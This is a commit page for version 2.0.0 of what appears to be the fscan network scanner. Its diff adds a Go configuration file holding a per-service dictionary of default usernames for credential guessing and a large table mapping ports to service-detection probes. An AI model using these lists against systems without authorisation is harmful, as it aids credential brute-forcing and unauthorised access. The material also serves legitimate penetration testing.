Merge pull request #399 from shadow1ng/dev

2.0.0版本合并
This commit is contained in:
ZacharyZcR 2025-02-14 20:17:17 +08:00 committed by GitHub
commit 42f8052b96
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
171 changed files with 35904 additions and 5797 deletions

4
.gitignore vendored
View File

@ -1 +1,5 @@
result.txt
main
.idea
fscan.exe
fscan

952
Common/Config.go Normal file
View File

@ -0,0 +1,952 @@
package Common
import (
"github.com/schollz/progressbar/v3"
"sync"
)
var version = "2.0.0"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
var DefaultMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
var PortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
256: {"LDAPSearchReq", "LDAPBindReq"},
257: {"LDAPSearchReq", "LDAPBindReq"},
261: {"SSLSessionReq"},
264: {"GenericLines"},
271: {"SSLSessionReq"},
280: {"GetRequest"},
322: {"RTSPRequest", "SSLSessionReq"},
324: {"SSLSessionReq"},
389: {"LDAPSearchReq", "LDAPBindReq"},
390: {"LDAPSearchReq", "LDAPBindReq"},
406: {"SIPOptions"},
427: {"NotesRPC"},
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
445: {"SMBProgNeg"},
448: {"SSLSessionReq"},
449: {"GenericLines"},
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
497: {"GetRequest", "X11Probe"},
500: {"OpenVPN"},
505: {"GenericLines", "GetRequest"},
510: {"GenericLines"},
512: {"DNSVersionBindReqTCP"},
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
523: {"ibm-db2-das", "ibm-db2"},
524: {"NCP"},
540: {"GenericLines", "GetRequest"},
543: {"DNSVersionBindReqTCP"},
544: {"RPCCheck", "DNSVersionBindReqTCP"},
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
554: {"GetRequest", "RTSPRequest"},
563: {"SSLSessionReq"},
585: {"SSLSessionReq"},
587: {"GenericLines", "Hello", "Help"},
591: {"GetRequest"},
616: {"GenericLines"},
620: {"GetRequest"},
623: {"tn3270"},
628: {"GenericLines", "DNSVersionBindReqTCP"},
631: {"GetRequest", "HTTPOptions"},
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
637: {"LDAPSearchReq", "LDAPBindReq"},
641: {"HTTPOptions"},
660: {"SMBProgNeg"},
666: {"GenericLines", "beast2"},
684: {"SSLSessionReq"},
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
710: {"RPCCheck"},
711: {"RPCCheck"},
731: {"GenericLines"},
771: {"GenericLines"},
782: {"GenericLines"},
783: {"GetRequest"},
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
888: {"GetRequest"},
898: {"GetRequest"},
900: {"GetRequest"},
901: {"GetRequest"},
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
999: {"JavaRMI"},
1000: {"GenericLines"},
1010: {"GenericLines"},
1025: {"SMBProgNeg"},
1026: {"GetRequest"},
1027: {"SMBProgNeg"},
1028: {"TerminalServer"},
1029: {"DNSVersionBindReqTCP"},
1030: {"JavaRMI"},
1031: {"SMBProgNeg"},
1035: {"JavaRMI", "oracle-tns"},
1040: {"GenericLines"},
1041: {"GenericLines"},
1042: {"GenericLines", "GetRequest"},
1043: {"GenericLines"},
1068: {"TerminalServer"},
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
1090: {"JavaRMI", "Socks5", "Socks4"},
1095: {"Socks5", "Socks4"},
1098: {"JavaRMI"},
1099: {"JavaRMI"},
1100: {"JavaRMI", "Socks5", "Socks4"},
1101: {"JavaRMI"},
1102: {"JavaRMI"},
1103: {"JavaRMI"},
1105: {"Socks5", "Socks4"},
1109: {"Socks5", "Socks4"},
1111: {"Help"},
1112: {"SMBProgNeg"},
1129: {"JavaRMI"},
1194: {"OpenVPN"},
1199: {"JavaRMI"},
1200: {"NCP"},
1212: {"GenericLines"},
1214: {"GetRequest"},
1217: {"NCP"},
1220: {"GenericLines", "GetRequest"},
1234: {"GetRequest", "JavaRMI"},
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
1248: {"GenericLines"},
1302: {"GenericLines"},
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
1314: {"GetRequest"},
1344: {"GetRequest"},
1352: {"NotesRPC"},
1400: {"GenericLines"},
1414: {"ibm-mqseries"},
1415: {"ibm-mqseries"},
1416: {"ibm-mqseries"},
1417: {"ibm-mqseries"},
1418: {"ibm-mqseries"},
1419: {"ibm-mqseries"},
1420: {"ibm-mqseries"},
1432: {"GenericLines"},
1433: {"ms-sql-s", "RPCCheck"},
1440: {"JavaRMI"},
1443: {"GetRequest", "SSLSessionReq"},
1467: {"GenericLines"},
1500: {"Verifier"},
1501: {"GenericLines", "VerifierAdvanced"},
1503: {"GetRequest", "TerminalServer"},
1505: {"GenericLines"},
1521: {"oracle-tns"},
1522: {"oracle-tns"},
1525: {"oracle-tns"},
1526: {"oracle-tns", "informix", "drda"},
1527: {"drda"},
1549: {"WMSRequest"},
1550: {"X11Probe"},
1574: {"oracle-tns"},
1583: {"pervasive-relational", "pervasive-btrieve"},
1599: {"LibreOfficeImpressSCPair"},
1610: {"GetRequest"},
1611: {"GetRequest"},
1666: {"GenericLines"},
1687: {"GenericLines"},
1688: {"GenericLines"},
1702: {"LDAPSearchReq", "LDAPBindReq"},
1720: {"TerminalServer"},
1748: {"oracle-tns"},
1754: {"oracle-tns"},
1755: {"WMSRequest"},
1761: {"LANDesk-RC"},
1762: {"LANDesk-RC"},
1763: {"LANDesk-RC"},
1830: {"GetRequest"},
1883: {"mqtt"},
1900: {"GetRequest"},
1911: {"niagara-fox"},
1935: {"TerminalServer"},
1962: {"pcworx"},
1972: {"NotesRPC"},
1981: {"JavaRMI"},
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
2001: {"GetRequest"},
2002: {"GetRequest", "X11Probe"},
2010: {"GenericLines"},
2023: {"tn3270"},
2024: {"GenericLines"},
2030: {"GetRequest"},
2040: {"TerminalServer"},
2049: {"RPCCheck"},
2050: {"dominoconsole"},
2064: {"GetRequest"},
2068: {"DNSVersionBindReqTCP"},
2100: {"FourOhFourRequest"},
2105: {"DNSVersionBindReqTCP"},
2160: {"GetRequest"},
2181: {"Memcache"},
2199: {"JavaRMI"},
2221: {"SSLSessionReq"},
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
2301: {"HTTPOptions"},
2306: {"GetRequest"},
2323: {"tn3270"},
2375: {"docker"},
2376: {"SSLSessionReq", "docker"},
2379: {"docker"},
2380: {"docker"},
2396: {"GetRequest"},
2401: {"Help"},
2443: {"SSLSessionReq"},
2481: {"giop"},
2482: {"giop"},
2525: {"GetRequest"},
2600: {"GenericLines"},
2627: {"Help"},
2701: {"LANDesk-RC"},
2715: {"GetRequest"},
2809: {"JavaRMI"},
2869: {"GetRequest"},
2947: {"LPDString"},
2967: {"DNSVersionBindReqTCP"},
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
3001: {"NCP"},
3002: {"GetRequest", "NCP"},
3003: {"NCP"},
3004: {"NCP"},
3005: {"GenericLines", "NCP"},
3006: {"SMBProgNeg", "NCP"},
3025: {"Hello"},
3031: {"NCP"},
3050: {"firebird"},
3052: {"GetRequest", "RTSPRequest"},
3127: {"mydoom"},
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
3129: {"mydoom"},
3130: {"mydoom"},
3131: {"mydoom"},
3132: {"mydoom"},
3133: {"mydoom"},
3134: {"mydoom"},
3135: {"mydoom"},
3136: {"mydoom"},
3137: {"mydoom"},
3138: {"mydoom"},
3139: {"mydoom"},
3140: {"mydoom"},
3141: {"mydoom"},
3142: {"mydoom"},
3143: {"mydoom"},
3144: {"mydoom"},
3145: {"mydoom"},
3146: {"mydoom"},
3147: {"mydoom"},
3148: {"mydoom"},
3149: {"mydoom"},
3150: {"mydoom"},
3151: {"mydoom"},
3152: {"mydoom"},
3153: {"mydoom"},
3154: {"mydoom"},
3155: {"mydoom"},
3156: {"mydoom"},
3157: {"mydoom"},
3158: {"mydoom"},
3159: {"mydoom"},
3160: {"mydoom"},
3161: {"mydoom"},
3162: {"mydoom"},
3163: {"mydoom"},
3164: {"mydoom"},
3165: {"mydoom"},
3166: {"mydoom"},
3167: {"mydoom"},
3168: {"mydoom"},
3169: {"mydoom"},
3170: {"mydoom"},
3171: {"mydoom"},
3172: {"mydoom"},
3173: {"mydoom"},
3174: {"mydoom"},
3175: {"mydoom"},
3176: {"mydoom"},
3177: {"mydoom"},
3178: {"mydoom"},
3179: {"mydoom"},
3180: {"mydoom"},
3181: {"mydoom"},
3182: {"mydoom"},
3183: {"mydoom"},
3184: {"mydoom"},
3185: {"mydoom"},
3186: {"mydoom"},
3187: {"mydoom"},
3188: {"mydoom"},
3189: {"mydoom"},
3190: {"mydoom"},
3191: {"mydoom"},
3192: {"mydoom"},
3193: {"mydoom"},
3194: {"mydoom"},
3195: {"mydoom"},
3196: {"mydoom"},
3197: {"mydoom"},
3198: {"mydoom"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq"},
3273: {"JavaRMI"},
3280: {"GetRequest"},
3310: {"GenericLines", "VersionRequest"},
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
3351: {"pervasive-relational", "pervasive-btrieve"},
3372: {"GetRequest", "RTSPRequest"},
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
3443: {"GetRequest", "SSLSessionReq"},
3493: {"Help"},
3531: {"GetRequest"},
3632: {"DistCCD"},
3689: {"GetRequest"},
3790: {"metasploit-msgrpc"},
3872: {"GetRequest"},
3892: {"LDAPSearchReq", "LDAPBindReq"},
3900: {"SMBProgNeg", "JavaRMI"},
3940: {"GenericLines"},
4000: {"GetRequest", "NoMachine"},
4035: {"LDAPBindReq", "LDAPBindReq"},
4045: {"RPCCheck"},
4155: {"GenericLines"},
4369: {"epmd"},
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4533: {"rotctl"},
4567: {"GetRequest"},
4660: {"GetRequest"},
4711: {"GetRequest", "piholeVersion"},
4899: {"Radmin"},
4911: {"SSLSessionReq", "niagara-fox"},
4999: {"RPCCheck"},
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
5001: {"WMSRequest", "ZendJavaBridge"},
5002: {"ZendJavaBridge"},
5009: {"SMBProgNeg"},
5060: {"GetRequest", "SIPOptions"},
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
5201: {"iperf3"},
5222: {"GetRequest"},
5232: {"HTTPOptions"},
5269: {"GetRequest"},
5280: {"GetRequest"},
5302: {"X11Probe"},
5323: {"DNSVersionBindReqTCP"},
5400: {"GenericLines"},
5427: {"GetRequest"},
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
5443: {"SSLSessionReq"},
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
5521: {"JavaRMI"},
5530: {"DNSVersionBindReqTCP"},
5550: {"SSLSessionReq", "SSLv23SessionReq"},
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
5556: {"DNSVersionBindReqTCP"},
5570: {"GenericLines"},
5580: {"JavaRMI"},
5600: {"SMBProgNeg"},
5701: {"hazelcast-http"},
5702: {"hazelcast-http"},
5703: {"hazelcast-http"},
5704: {"hazelcast-http"},
5705: {"hazelcast-http"},
5706: {"hazelcast-http"},
5707: {"hazelcast-http"},
5708: {"hazelcast-http"},
5709: {"LANDesk-RC", "hazelcast-http"},
5800: {"GetRequest"},
5801: {"GetRequest"},
5802: {"GetRequest"},
5803: {"GetRequest"},
5868: {"SSLSessionReq"},
5900: {"GetRequest"},
5985: {"GetRequest"},
5986: {"GetRequest", "SSLSessionReq"},
5999: {"JavaRMI"},
6000: {"HTTPOptions", "X11Probe"},
6001: {"X11Probe"},
6002: {"X11Probe"},
6003: {"X11Probe"},
6004: {"X11Probe"},
6005: {"X11Probe"},
6006: {"X11Probe"},
6007: {"X11Probe"},
6008: {"X11Probe"},
6009: {"X11Probe"},
6010: {"X11Probe"},
6011: {"X11Probe"},
6012: {"X11Probe"},
6013: {"X11Probe"},
6014: {"X11Probe"},
6015: {"X11Probe"},
6016: {"X11Probe"},
6017: {"X11Probe"},
6018: {"X11Probe"},
6019: {"X11Probe"},
6020: {"X11Probe"},
6050: {"DNSStatusRequestTCP"},
6060: {"JavaRMI"},
6103: {"GetRequest"},
6112: {"GenericLines"},
6163: {"HELP4STOMP"},
6251: {"SSLSessionReq"},
6346: {"GetRequest"},
6379: {"redis-server"},
6432: {"GenericLines"},
6443: {"SSLSessionReq"},
6543: {"DNSVersionBindReqTCP"},
6544: {"GetRequest"},
6560: {"Help"},
6588: {"Socks5", "Socks4"},
6600: {"GetRequest"},
6660: {"Socks5", "Socks4"},
6661: {"Socks5", "Socks4"},
6662: {"Socks5", "Socks4"},
6663: {"Socks5", "Socks4"},
6664: {"Socks5", "Socks4"},
6665: {"Socks5", "Socks4"},
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
6670: {"GenericLines", "Help"},
6679: {"TLSSessionReq", "SSLSessionReq"},
6697: {"TLSSessionReq", "SSLSessionReq"},
6699: {"GetRequest"},
6715: {"JMON", "JMON"},
6789: {"JavaRMI"},
6802: {"NCP"},
6969: {"GetRequest"},
6996: {"JavaRMI"},
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
7002: {"GetRequest"},
7007: {"GetRequest"},
7008: {"DNSVersionBindReqTCP"},
7070: {"GetRequest", "RTSPRequest"},
7100: {"GetRequest", "X11Probe"},
7101: {"X11Probe"},
7144: {"GenericLines"},
7145: {"GenericLines"},
7171: {"NotesRPC"},
7200: {"GenericLines"},
7210: {"SSLSessionReq", "SSLv23SessionReq"},
7272: {"SSLSessionReq", "SSLv23SessionReq"},
7402: {"GetRequest"},
7443: {"GetRequest", "SSLSessionReq"},
7461: {"SMBProgNeg"},
7700: {"JavaRMI"},
7776: {"GetRequest"},
7777: {"X11Probe", "Socks5", "Arucer"},
7780: {"GenericLines"},
7800: {"JavaRMI"},
7801: {"JavaRMI"},
7878: {"JavaRMI"},
7887: {"xmlsysd"},
7890: {"JavaRMI"},
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
8001: {"GetRequest", "FourOhFourRequest"},
8002: {"GetRequest", "FourOhFourRequest"},
8003: {"GetRequest", "FourOhFourRequest"},
8004: {"GetRequest", "FourOhFourRequest"},
8005: {"GetRequest", "FourOhFourRequest"},
8006: {"GetRequest", "FourOhFourRequest"},
8007: {"GetRequest", "FourOhFourRequest"},
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
8050: {"JavaRMI"},
8051: {"JavaRMI"},
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
8082: {"GetRequest", "FourOhFourRequest"},
8083: {"GetRequest", "FourOhFourRequest"},
8084: {"GetRequest", "FourOhFourRequest"},
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
8087: {"riak-pbc"},
8088: {"GetRequest", "Socks5", "Socks4"},
8091: {"JavaRMI"},
8118: {"GetRequest"},
8138: {"GenericLines"},
8181: {"GetRequest", "SSLSessionReq"},
8194: {"SSLSessionReq", "SSLv23SessionReq"},
8205: {"JavaRMI"},
8303: {"JavaRMI"},
8307: {"RPCCheck"},
8333: {"RPCCheck"},
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
8530: {"GetRequest"},
8531: {"GetRequest", "SSLSessionReq"},
8642: {"JavaRMI"},
8686: {"JavaRMI"},
8701: {"JavaRMI"},
8728: {"NotesRPC"},
8770: {"apple-iphoto"},
8880: {"GetRequest", "FourOhFourRequest"},
8881: {"GetRequest", "FourOhFourRequest"},
8882: {"GetRequest", "FourOhFourRequest"},
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
8884: {"GetRequest", "FourOhFourRequest"},
8885: {"GetRequest", "FourOhFourRequest"},
8886: {"GetRequest", "FourOhFourRequest"},
8887: {"GetRequest", "FourOhFourRequest"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
8889: {"JavaRMI"},
8890: {"JavaRMI"},
8901: {"JavaRMI"},
8902: {"JavaRMI"},
8903: {"JavaRMI"},
8999: {"JavaRMI"},
9000: {"GenericLines", "GetRequest"},
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
9002: {"GenericLines", "tor-versions"},
9003: {"GenericLines", "JavaRMI"},
9004: {"JavaRMI"},
9005: {"JavaRMI"},
9030: {"GetRequest"},
9050: {"GetRequest", "JavaRMI"},
9080: {"GetRequest"},
9088: {"informix", "drda"},
9089: {"informix", "drda"},
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
9091: {"informix", "drda"},
9092: {"informix", "drda"},
9093: {"informix", "drda"},
9094: {"informix", "drda"},
9095: {"informix", "drda"},
9096: {"informix", "drda"},
9097: {"informix", "drda"},
9098: {"informix", "drda"},
9099: {"JavaRMI", "informix", "drda"},
9100: {"hp-pjl", "informix", "drda"},
9101: {"hp-pjl"},
9102: {"SMBProgNeg", "hp-pjl"},
9103: {"SMBProgNeg", "hp-pjl"},
9104: {"hp-pjl"},
9105: {"hp-pjl"},
9106: {"hp-pjl"},
9107: {"hp-pjl"},
9300: {"JavaRMI"},
9390: {"metasploit-xmlrpc"},
9443: {"GetRequest", "SSLSessionReq"},
9481: {"Socks5"},
9500: {"JavaRMI"},
9711: {"JavaRMI"},
9761: {"insteonPLM"},
9801: {"GenericLines"},
9809: {"JavaRMI"},
9810: {"JavaRMI"},
9811: {"JavaRMI"},
9812: {"JavaRMI"},
9813: {"JavaRMI"},
9814: {"JavaRMI"},
9815: {"JavaRMI"},
9875: {"JavaRMI"},
9910: {"JavaRMI"},
9930: {"ibm-db2-das"},
9931: {"ibm-db2-das"},
9932: {"ibm-db2-das"},
9933: {"ibm-db2-das"},
9934: {"ibm-db2-das"},
9991: {"JavaRMI"},
9998: {"teamspeak-tcpquery-ver"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
10002: {"ZendJavaBridge", "SharpTV"},
10003: {"ZendJavaBridge"},
10005: {"GetRequest"},
10031: {"HTTPOptions"},
10098: {"JavaRMI"},
10099: {"JavaRMI"},
10162: {"JavaRMI"},
10333: {"teamtalk-login"},
10443: {"GetRequest", "SSLSessionReq"},
10990: {"JavaRMI"},
11001: {"JavaRMI"},
11099: {"JavaRMI"},
11210: {"couchbase-data"},
11211: {"Memcache"},
11333: {"JavaRMI"},
11371: {"GenericLines", "GetRequest"},
11711: {"LDAPSearchReq"},
11712: {"LDAPSearchReq"},
11965: {"GenericLines"},
12000: {"JavaRMI"},
12345: {"Help", "OfficeScan"},
13013: {"GetRequest", "JavaRMI"},
13666: {"GetRequest"},
13720: {"GenericLines"},
13722: {"GetRequest"},
13783: {"DNSVersionBindReqTCP"},
14000: {"JavaRMI"},
14238: {"oracle-tns"},
14443: {"GetRequest", "SSLSessionReq"},
14534: {"GetRequest"},
14690: {"Help"},
15000: {"GenericLines", "GetRequest", "JavaRMI"},
15001: {"GenericLines", "JavaRMI"},
15002: {"GenericLines", "SSLSessionReq"},
15200: {"JavaRMI"},
16000: {"JavaRMI"},
17007: {"RPCCheck"},
17200: {"JavaRMI"},
17988: {"GetRequest"},
18086: {"GenericLines"},
18182: {"SMBProgNeg"},
18264: {"GetRequest"},
18980: {"JavaRMI"},
19150: {"GenericLines", "gkrellm"},
19350: {"LPDString"},
19700: {"kumo-server"},
19800: {"kumo-server"},
20000: {"JavaRMI", "oracle-tns"},
20547: {"proconos"},
22001: {"NotesRPC"},
22490: {"Help"},
23791: {"JavaRMI"},
25565: {"minecraft-ping"},
26214: {"GenericLines"},
26256: {"JavaRMI"},
26470: {"GenericLines"},
27000: {"SMBProgNeg"},
27001: {"SMBProgNeg"},
27002: {"SMBProgNeg"},
27003: {"SMBProgNeg"},
27004: {"SMBProgNeg"},
27005: {"SMBProgNeg"},
27006: {"SMBProgNeg"},
27007: {"SMBProgNeg"},
27008: {"SMBProgNeg"},
27009: {"SMBProgNeg"},
27010: {"SMBProgNeg"},
27017: {"mongodb"},
27036: {"TLS-PSK"},
30444: {"GenericLines"},
31099: {"JavaRMI"},
31337: {"GetRequest", "SIPOptions"},
31416: {"GenericLines"},
32211: {"LPDString"},
32750: {"RPCCheck"},
32751: {"RPCCheck"},
32752: {"RPCCheck"},
32753: {"RPCCheck"},
32754: {"RPCCheck"},
32755: {"RPCCheck"},
32756: {"RPCCheck"},
32757: {"RPCCheck"},
32758: {"RPCCheck"},
32759: {"RPCCheck"},
32760: {"RPCCheck"},
32761: {"RPCCheck"},
32762: {"RPCCheck"},
32763: {"RPCCheck"},
32764: {"RPCCheck"},
32765: {"RPCCheck"},
32766: {"RPCCheck"},
32767: {"RPCCheck"},
32768: {"RPCCheck"},
32769: {"RPCCheck"},
32770: {"RPCCheck"},
32771: {"RPCCheck"},
32772: {"RPCCheck"},
32773: {"RPCCheck"},
32774: {"RPCCheck"},
32775: {"RPCCheck"},
32776: {"RPCCheck"},
32777: {"RPCCheck"},
32778: {"RPCCheck"},
32779: {"RPCCheck"},
32780: {"RPCCheck"},
32781: {"RPCCheck"},
32782: {"RPCCheck"},
32783: {"RPCCheck"},
32784: {"RPCCheck"},
32785: {"RPCCheck"},
32786: {"RPCCheck"},
32787: {"RPCCheck"},
32788: {"RPCCheck"},
32789: {"RPCCheck"},
32790: {"RPCCheck"},
32791: {"RPCCheck"},
32792: {"RPCCheck"},
32793: {"RPCCheck"},
32794: {"RPCCheck"},
32795: {"RPCCheck"},
32796: {"RPCCheck"},
32797: {"RPCCheck"},
32798: {"RPCCheck"},
32799: {"RPCCheck"},
32800: {"RPCCheck"},
32801: {"RPCCheck"},
32802: {"RPCCheck"},
32803: {"RPCCheck"},
32804: {"RPCCheck"},
32805: {"RPCCheck"},
32806: {"RPCCheck"},
32807: {"RPCCheck"},
32808: {"RPCCheck"},
32809: {"RPCCheck"},
32810: {"RPCCheck"},
32913: {"JavaRMI"},
33000: {"JavaRMI"},
33015: {"tarantool"},
34012: {"GenericLines"},
37435: {"HTTPOptions"},
37718: {"JavaRMI"},
38978: {"RPCCheck"},
40193: {"GetRequest"},
41523: {"DNSStatusRequestTCP"},
44443: {"GetRequest", "SSLSessionReq"},
45230: {"JavaRMI"},
47001: {"JavaRMI"},
47002: {"JavaRMI"},
49152: {"FourOhFourRequest"},
49153: {"mongodb"},
49400: {"HTTPOptions"},
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
50001: {"ibm-db2"},
50002: {"ibm-db2"},
50003: {"ibm-db2"},
50004: {"ibm-db2"},
50005: {"ibm-db2"},
50006: {"ibm-db2"},
50007: {"ibm-db2"},
50008: {"ibm-db2"},
50009: {"ibm-db2"},
50010: {"ibm-db2"},
50011: {"ibm-db2"},
50012: {"ibm-db2"},
50013: {"ibm-db2"},
50014: {"ibm-db2"},
50015: {"ibm-db2"},
50016: {"ibm-db2"},
50017: {"ibm-db2"},
50018: {"ibm-db2"},
50019: {"ibm-db2"},
50020: {"ibm-db2"},
50021: {"ibm-db2"},
50022: {"ibm-db2"},
50023: {"ibm-db2"},
50024: {"ibm-db2"},
50025: {"ibm-db2"},
50050: {"JavaRMI"},
50500: {"JavaRMI"},
50501: {"JavaRMI"},
50502: {"JavaRMI"},
50503: {"JavaRMI"},
50504: {"JavaRMI"},
50505: {"metasploit-msgrpc"},
51234: {"teamspeak-tcpquery-ver"},
55552: {"metasploit-msgrpc"},
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
55555: {"GetRequest"},
56667: {"GenericLines"},
59100: {"kumo-server"},
60000: {"ibm-db2", "drda"},
60001: {"ibm-db2"},
60002: {"ibm-db2"},
60003: {"ibm-db2"},
60004: {"ibm-db2"},
60005: {"ibm-db2"},
60006: {"ibm-db2"},
60007: {"ibm-db2"},
60008: {"ibm-db2"},
60009: {"ibm-db2"},
60010: {"ibm-db2"},
60011: {"ibm-db2"},
60012: {"ibm-db2"},
60013: {"ibm-db2"},
60014: {"ibm-db2"},
60015: {"ibm-db2"},
60016: {"ibm-db2"},
60017: {"ibm-db2"},
60018: {"ibm-db2"},
60019: {"ibm-db2"},
60020: {"ibm-db2"},
60021: {"ibm-db2"},
60022: {"ibm-db2"},
60023: {"ibm-db2"},
60024: {"ibm-db2"},
60025: {"ibm-db2"},
60443: {"GetRequest", "SSLSessionReq"},
61613: {"HELP4STOMP"},
}
